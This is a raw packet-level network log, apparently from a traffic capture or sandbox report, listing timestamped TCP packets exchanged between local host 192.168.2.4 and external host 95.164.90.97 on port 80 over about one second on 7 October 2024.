Oct 7, 2024 18:43:37.218277931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218278885 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218282938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218287945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218292952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218296051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218297958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218321085 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218350887 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218497038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218501091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218539953 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218542099 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218547106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218556881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218589067 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218610048 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218770981 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218782902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218787909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218794107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218799114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218808889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218820095 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218847036 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218885899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218892097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218900919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218910933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218915939 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218920946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218925953 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218966007 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218966007 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.219041109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.219052076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.219084024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.351146936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351166010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351176023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351186037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351196051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351212025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351222992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351232052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351238012 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.351246119 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351258039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351268053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351277113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351288080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351300955 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351316929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.351344109 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.351424932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351435900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.351497889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.352494001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.352539062 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.352673054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.352718115 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.352855921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.352873087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.352883101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.352893114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.352897882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.352902889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.352912903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.352916956 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.352922916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.352951050 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.352968931 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353018045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353033066 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353043079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353053093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353061914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353071928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353074074 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353080988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353091002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353100061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353108883 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353110075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353118896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353128910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353133917 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353144884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353157043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353158951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353168964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353178024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353178024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353188038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353198051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353199005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353209972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353219986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353220940 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353229046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353239059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353240967 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353249073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353257895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353260994 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353266954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353276968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353286028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353286982 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353307962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353307962 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353322983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353327036 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353333950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353343010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353353024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353354931 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353362083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353372097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353382111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353388071 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353391886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353400946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353408098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353410959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353420973 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353430033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353435040 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353440046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353446960 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353452921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353466988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353471994 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353477001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353487015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353492975 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353497028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353506088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353523970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353523970 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353534937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353544950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353553057 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353554964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353564978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353574038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353574991 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353584051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353594065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353604078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353604078 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353621006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353621960 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353638887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353641033 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353650093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353658915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353660107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353669882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353679895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353688002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353693008 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353698015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353707075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353715897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353724957 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353725910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353734970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353744030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353753090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353761911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353773117 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353773117 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353777885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353786945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353792906 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353799105 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353812933 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353816986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353826046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353832960 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353837013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353862047 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353887081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353924990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353939056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353950977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353964090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353965998 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.353971958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.353981018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.354003906 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.354120970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.354130983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.354140043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.354166031 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.354176998 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.354291916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.354334116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.369544983 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.374516964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735214949 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735229969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735239983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735244989 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735255003 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735265017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735276937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735286951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735347033 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735377073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735388041 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735395908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735407114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735416889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735419989 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735428095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735438108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735447884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735454082 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735457897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735467911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735482931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735490084 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735493898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735503912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735513926 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735515118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735533953 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735560894 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735606909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735616922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735626936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735636950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735646963 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735677004 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735709906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735719919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735728979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735738993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735750914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735755920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735764980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735775948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735783100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735785961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735795975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735805035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735814095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735816956 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735825062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735845089 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735865116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735891104 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735901117 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735910892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735920906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735929966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735938072 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735939026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735948086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735959053 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735959053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735969067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735977888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.735985994 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.735987902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736006021 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736027002 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736093044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736103058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736114025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736128092 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736155033 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736183882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736195087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736203909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736213923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736224890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736231089 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736253023 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736274004 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736324072 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736332893 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736342907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736352921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736362934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736366987 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736372948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736382961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736392975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736393929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736402035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736413002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736423016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736424923 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736444950 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736463070 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736888885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736898899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736907959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736917973 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736927986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736937046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736938953 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736947060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736958027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.736977100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.736998081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.749253988 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.754096031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113540888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113555908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113568068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113579035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113616943 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.113662958 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.113686085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113698006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113708973 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113720894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113730907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113738060 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.113742113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113764048 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.113780975 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.113898993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113909960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113920927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113931894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113940954 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.113941908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113953114 CEST	80	51632	95.164.90.97	192.168.2.4
